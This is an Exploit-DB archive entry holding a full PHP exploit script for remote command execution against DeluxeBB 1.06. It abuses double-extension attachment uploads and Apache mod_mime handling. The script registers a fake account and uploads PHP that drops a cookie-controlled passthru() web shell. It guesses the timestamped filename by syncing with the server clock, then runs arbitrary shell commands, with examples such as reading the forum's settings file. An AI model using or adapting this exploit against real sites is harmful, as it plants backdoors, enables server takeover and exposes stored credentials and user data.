DeluxeBB 1.06 - 'Attachment mod_mime' Remote Command Execution

EDB-ID:

1797

Author:

rgod

Type:

webapps

Platform:

PHP

Published:

2006-05-16

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "DeluxeBB <= v1.06 attachment mod_mime exploit\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n";
echo "tested & working against a fresh deluxebb installation\r\n\r\n";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to deluxebb\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /deluxebb/ cat ./../settings/info.php\r\n";
echo "php ".$argv[0]." localhost /deluxebb/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n\r\n";
die;
}

/*explaination:

  you can upload attachments with double extensions, ex.:

  test.php.php.rar

  file is renamed like this:

  test.php.php-1147772503.ext

  and copied to the files/ folder, as you can see, new filename is predictable...,
  numbers are the result of time() php function, you have just to synchronize
  clocks through Apache "Date" header...

  It seems that Apache mod_mime module considers double-extension files like
  this to be valid PHP files and runs the arbitrary code that has been uploaded,
  actually on most versions you can do somethign like this:

  http://[target]/[path]/files/test.php.php-1147772503.ext?cmd=ls%20-la
                                 */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

function greenwich_timestamp($response)
{
   $temp=explode("Date: ",$response);
   $temp2=explode("\r\n",$temp[1]);
   $is_now=$temp2[0];
   $temp=explode(" ",$is_now);$day=$temp[1];$month=$temp[2];$year=$temp[3];$temp2=explode(":",$temp[4]);
   $hour=$temp2[0];$min=$temp2[1];$sec=$temp2[2];
   $tb=array ('Jan', '1','Feb', '2','Mar', '3','Apr', '4','May', '5','Jun', '6',
   'Jul', '7','Aug', '8','Sep', '9','Oct', '10','Nov', '11','Dec', '12');
   for ($i=0;$i<=23;$i++) {if ($month==$tb[$i]) {$month=$tb[$i+1];break;}}
   return mktime($hour,$min,$sec,$month,$day,$year);
}

function gmtime() {    // Get GM offset.
   return time() - (int) date('Z');
}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "step 0 -> Check if suntzu.php is already installed\r\n";
$packet ="GET ".$p."files/suntzu.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=".$cmd.";\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"56789"))
{
    echo "Exploit succeeded...";
    $temp=explode("56789",$html);
    die("\r\n".$temp[1]."\r\n");
}

echo "step 0b -> Synchronize...\r\n";
$difftime=0;
//Unin epoch time by Apache "Date:" response header
//it carries GMT time... sending HEAD request
$packet ="HEAD / HTTP/1.1\r\nHost: ".$host."\r\nConnection: Close\r\n\r\n";
sendpacketii($packet);
if ((eregi("Date: ",$html)) and ($proxy==''))
{
$itstime=greenwich_timestamp($html);
echo "target host Greenwich timestamp: ".$itstime."\r\n";
$mytime=gmtime();
echo "my greenwich timestamp: ".$mytime."\r\n";
$difftime= $itstime-$mytime;
echo "difftime: ".$difftime."\r\n";
}
else
{
echo "Unable to read \"Date\", assuming difftime = 0\r\n";
}

echo "step 1 -> Register...\r\n";
srand(make_seed());
$anumber = rand(1,99999);
$data="name=suntzu".$anumber;
$data.="&pass=suntzu";
$data.="&pass2=suntzu";
$data.="&email=suntzu".$anumber."%40fakemail.com";
$data.="&hideemail=1";
$data.="&languagex=English";
$data.="&xthetimeoffset=2";
$data.="&xthedateformat=d-m-Y";
$data.="&xthetimeformat=24";
$data.="&submit=Register";
$packet ="POST ".$p."misc.php?sub=register HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<=count($temp)-1; $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
if ($cookie=='') {
         die("Unable to register...");
    }
else {
         echo "cookie -> ".$cookie."\r\n";
         }

echo "step 2 -> Post a new thread with the evil attachment...\r\n";

$attachment='
<?php
$fp=fopen("suntzu.php","w");
fputs($fp,"<?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {\$_COOKIE[cmd]=stripslashes(\$_COOKIE[cmd]);}echo 56789;passthru(\$_COOKIE[cmd]);echo 56789;?>");
fclose($fp);
chmod("suntzu.php",777);
?>';

$data='-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="subject"

Sun-Tzu, Art of War
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="posticon"

None
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="disablesmilies"

1
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="fileupload"; filename="suntzu'.$anumber.'.php.php.rar"
Content-Type: application/octet-stream

'.$attachment.'
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1048576
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="what"

ciao
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="submit"

Post
-----------------------------7d6ee3a7074a--
';

$packet ="POST ".$p."newpost.php?sub=newthread&fid=1 HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6ee3a7074a\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
$mytime=time() + $difftime;
sendpacketii($packet);
sleep(2);

/*
file is renamed in this way:

...
$time = time(); //header.php, line 78
...

...
$saveit = $settings['attachdir'] . $filename . '-' . $time . '.' . 'ext'; //newpost.php, line 218-219
copy($fileupload['tmp_name'], $saveit);
...                                 */

$predict_time=
            array (
             $mytime,
             $mytime + 1,
             $mytime + 2,
             $mytime + 3,
             $mytime + 4,
             $mytime + 5,
             $mytime + 6
             );

for ($i=0; $i<=count($predict_time)-1; $i++)
{
  $a=3+$i;
  echo "step ".$a." -> trying with suntzu".$anumber.".php.php-".$predict_time[$i].".ext\r\n";
  $packet ="GET ".$p."files/suntzu".$anumber.".php.php-".$predict_time[$i].".ext HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  sendpacketii($packet);

  $packet ="GET ".$p."files/suntzu.php HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Cookie: cmd=".$cmd.";\r\n";
  $packet.="Connection: Close\r\n\r\n";
  sendpacketii($packet);
  if (strstr($html,"56789"))
  {
    echo "Exploit succeeded...";
    $temp=explode("56789",$html);
    die("\r\n".$temp[1]."\r\n");
  }
}
//if you are here...
echo "Exploit failed...";
?>

# milw0rm.com [2006-05-16]